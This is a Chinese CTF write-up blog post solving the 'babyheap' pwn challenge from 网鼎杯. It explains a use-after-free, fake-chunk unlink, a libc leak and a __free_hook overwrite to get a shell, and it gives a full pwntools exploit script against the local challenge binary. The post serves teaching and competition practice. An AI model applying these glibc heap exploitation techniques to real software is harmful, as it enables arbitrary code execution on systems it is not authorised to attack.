Pwn

网鼎杯Pwn之babyheap

unlink+uaf+fastbin attack

Posted by Chris on September 2, 2018

0x00 代码分析

1,检查保护

1
2
3
4
5
6
[*] '/home/chris/Pwn/babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

除了PIE,其他的全开。

2,使用IDA分析程序流程

main 函数分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  char *v3; // rdi
  int v4; // [rsp+Ch] [rbp-24h]
  char s; // [rsp+10h] [rbp-20h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  sub_400882(a1, a2, a3);
  puts("I thought this is really baby.What about u?");
  puts("Loading.....");
  v3 = (char *)5;
  sleep(5u);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        sub_4008E3(v3);
        memset(&s, 0, 0x10uLL);
        read(0, &s, 0xFuLL);
        v3 = &s;
        v4 = atoi(&s);
        if ( v4 != 2 )
          break;
        sub_400A79(&s, &s);
      }
      if ( v4 > 2 )
        break;
      if ( v4 != 1 )
        goto LABEL_13;
      sub_4009A0(&s, &s);
    }
    if ( v4 == 3 )
    {
      sub_400C01(&s, &s);
    }
    else
    {
      if ( v4 != 4 )
LABEL_13:
        exit(0);
      sub_400B54(&s, &s);
    }
  }
}

读入你输入的选项,然后执行对应的函数,有5个选项:

1
2
3
4
5
1.alloc
2.edit
3.show
4.free
5.exit

alloc 函数分析

pic1

malloc次数最多10次,每次大小只能为 0x20(fastbin),所以常规fastbin_attack行不通

edit 函数分析

pic2

每次edit会使dword_6020B0值+1.当dword_6020B0值为3时,不能进行edit。作用是限制只能进行三次edit,且edit的大小0x20,观察sub_40092b函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 __fastcall sub_40092B(__int64 a1, unsigned int a2)
{
  unsigned __int64 result; // rax
  unsigned int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = i;
    if ( i >= a2 )
      break;
    read(0, (void *)(i + a1), 1uLL);
    if ( *(_BYTE *)(i + a1) == 10 || i == a2 - 1 )
    {
      result = i + a1;
      *(_BYTE *)result = 0;
      return result;
    }
  }
  return result;
}

通过read逐字节读取,无溢出。

show 函数分析

pic3

输出堆块内容,可用于信息泄露。

free 函数分析

pic4

free功能存在明显的UAF漏洞,悬挂指针未请空。free功能无限制,可以任意次数的free.

0X01 漏洞利用思路

  • UAF 漏洞存在,可泄露heap地址
  • 构造fake chunk 然后让它 free 之后被放到 unsortedbin中,泄露main_arena基址,free的同时执行unlink,实现任意地址写
  • 由于开启了Full RELRO,所以只能往__free_hook
  • free一个存有’/bin/sh\x00’的chunk,拿下shell

1.通过UAF泄露堆的地址

先分配两个chunk分别为 chunk 0 与 chunk 1 ,然后再依次释放chunk 1 与 chunk 0,这时chunk 0 的fd指向chunk 1;

再show(0),就能打印chunk 1的地址;

注意这个顺序不能反,因为puts 存在截断,第一个被分配的chunk往往它的低一位会是0x00 ,按照小端序,会存在 leak 不出来的问题。所以注意 free 的顺序。

2.伪造fake chunk

利用 chunk 0,编辑 chunk 0 内容fd为 原本 fd-0x10的位置,也就是heap_addr + 0x20

chunk 0 另外0x16的空间填为 p64(0) + p64(0) + p64(0x31)

这样的话,chunk 0 的fd就指向自身的p64(0) + p64(0x31)位置,相当于伪造了一个chunk头,便于fastbin_attack时分配;

我们的目标是要fake一个非fastbin的chunk,然后free泄露libc,我们继续分配两个空间(利用fastbin中chunk 0被修改的fd)Add(6, "aaaa" + '\n') , Add(7, p64(0) + p64(0xa1) + '\n') 我们就成功覆盖chunk 1 的 pre_size 和 size 为 0 与 0xa1;

为伪造的0xa1大小的chunk 1分配足够空间,再分配2个空间紧跟chunk 0 1后面Add(2,'CCCCCCCC\n') Add(3,'DDDDDDDD\n')

同时为了实现任意地址写,得构造空闲chunk来unlink,这里我们利用向前合并,这时再分配个2空间Add(4, p64(0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10))Add(5, p64(0x30) + p64(0x30) + '\n')

这时chunk 4 的pre_size与size空间属于0xa1 chunk ,chunk 4 的mem空间为被unlink的fake_chunk_4,chunk 5的mem 空间 ,也就是fake_chunk_5 的头为0x30 0x30代表 fake_chunk_4 为空

此时的堆分配如下图:

pic5

chunk 错了一下位 这是重中之重 unlink向前合并利用的关键

3.补充unlink向前合并操作知识

首先检测next chunk是否为free。那么如何检测呢?很简单,查询next chunk之后的chunk的 PREV_INUSE (P)即可。相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
……
/*这里p指向当前chunk*/
nextchunk = chunk_at_offset(p, size);
……
nextsize = chunksize(nextchunk);
……
if (nextchunk != av->top) { 
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);  #判断nextchunk是否为free chunk
      /* consolidate forward */
      if (!nextinuse) {   #next chunkfree chunk
            unlink(nextchunk, bck, fwd);   #将nextchunk从链表中移除
          size += nextsize;   #p还是指向当前chunk只是当前chunksize扩大了,这就是向前合并!
      } else
            clear_inuse_bit_at_offset(nextchunk, 0);    

      ……
    }

整个操作与”向后合并“操作类似,再通过上述代码结合注释应该很容易理解free chunk的向前结合操作。在本例中当前chunk为first,它的下一个chunk为second,再下一个chunk为top chunk,此时 top chunk的 PREV_INUSE位是设置为1的(表示top chunk的前一个chunk,即second chunk, 已经使用),因此first的下一个chunk不会被“向前合并“掉。

4.执行unlink,并泄露基址

然后就是释放0xa1的chunk 也就是chunk 1 ,free后的堆结构如图:

pic6

这时show chunk 1 就可以打印main_arena+88地址;

万事俱备只欠东风,unlink chunk 4 后,在 &ptr + (4+1) * 8 地址里存的是&ptr+(4+1)8 - 38 及 &ptr+16的地址 也就是chunk 1 的mem空间。总结一下,就是chunk 4 的 mem 空间地址 变成了 chunk 1 的 &ptr;

如图:

last

接下来我们只需要Edit(4,p64(__free_hook) + '\n') 修改 chunk 1 的 mem 空间地址为__free_hook的got表地址 ; Edit(1, p64(system)+ '\n')__free_hook的got表写入system地址;

5.getshell

bingo 最后就很简单了,分配一个新chunk 内容为 ‘/bin/sh\x00’,并free该chunk 成功getshell

0x02 完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p=process("./babyheap")
elf=ELF("/lib/x86_64-linux-gnu/libc-2.19.so")

__free_hook = 0x3c4a10
system = 0x46590

def g():
    gdb.attach(p)
    raw_input()

def Add(index, data):
    p.recvuntil('Choice:')
    p.sendline('1')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    p.send(data)

def Edit(index, data):
    p.recvuntil('Choice:')
    p.sendline('2')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    p.send(data)

def Show(index):
    p.recvuntil('Choice:')
    p.sendline('3')
    p.recvuntil('Index:')
    p.sendline(str(index))

def Delete(index):
    p.recvuntil('Choice:')
    p.sendline('4')
    p.recvuntil('Index:')
    p.sendline(str(index))



Add(0,'AAAAAAAA\n')
Add(1,'BBBBBBBB\n')

Delete(1)
Delete(0)

Show(0)
heap_addr = u64(p.recvline()[ : -1].ljust(8, '\x00')) - 0x30

Edit(0, p64(heap_addr + 0x20) + p64(0) + p64(0) + p64(0x31))

Add(6, "aaa" + '\n')
Add(7, p64(0) + p64(0xa1) + '\n')

Add(2,'CCCCCCCC\n')
Add(3,'DDDDDDDD\n')

Add(4, p64(0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10))
Add(5, p64(0x30) + p64(0x30) + '\n')


Delete(1)
Show(1)
libc_address = u64(p.recvline()[ : -1].ljust(8, '\x00'))-0x3c27b8


Edit(4,p64(libc_address + __free_hook) + '\n')
Edit(1, p64(libc_address + system)+ '\n')

Add(8,"/bin/sh\x00"+'\n')
Delete(8)

p.interactive()

0x03 总结

这道题chunk错位构造的十分巧妙,edit3次是极限,当时比赛的时候卡在了fastbin_attack 不知道怎么搞….是我太菜….,同时还学到一个新姿势:构造好fake_chunk的前提下 free操作时可以同时实现泄露libc基址和unlink…..haha

文件下载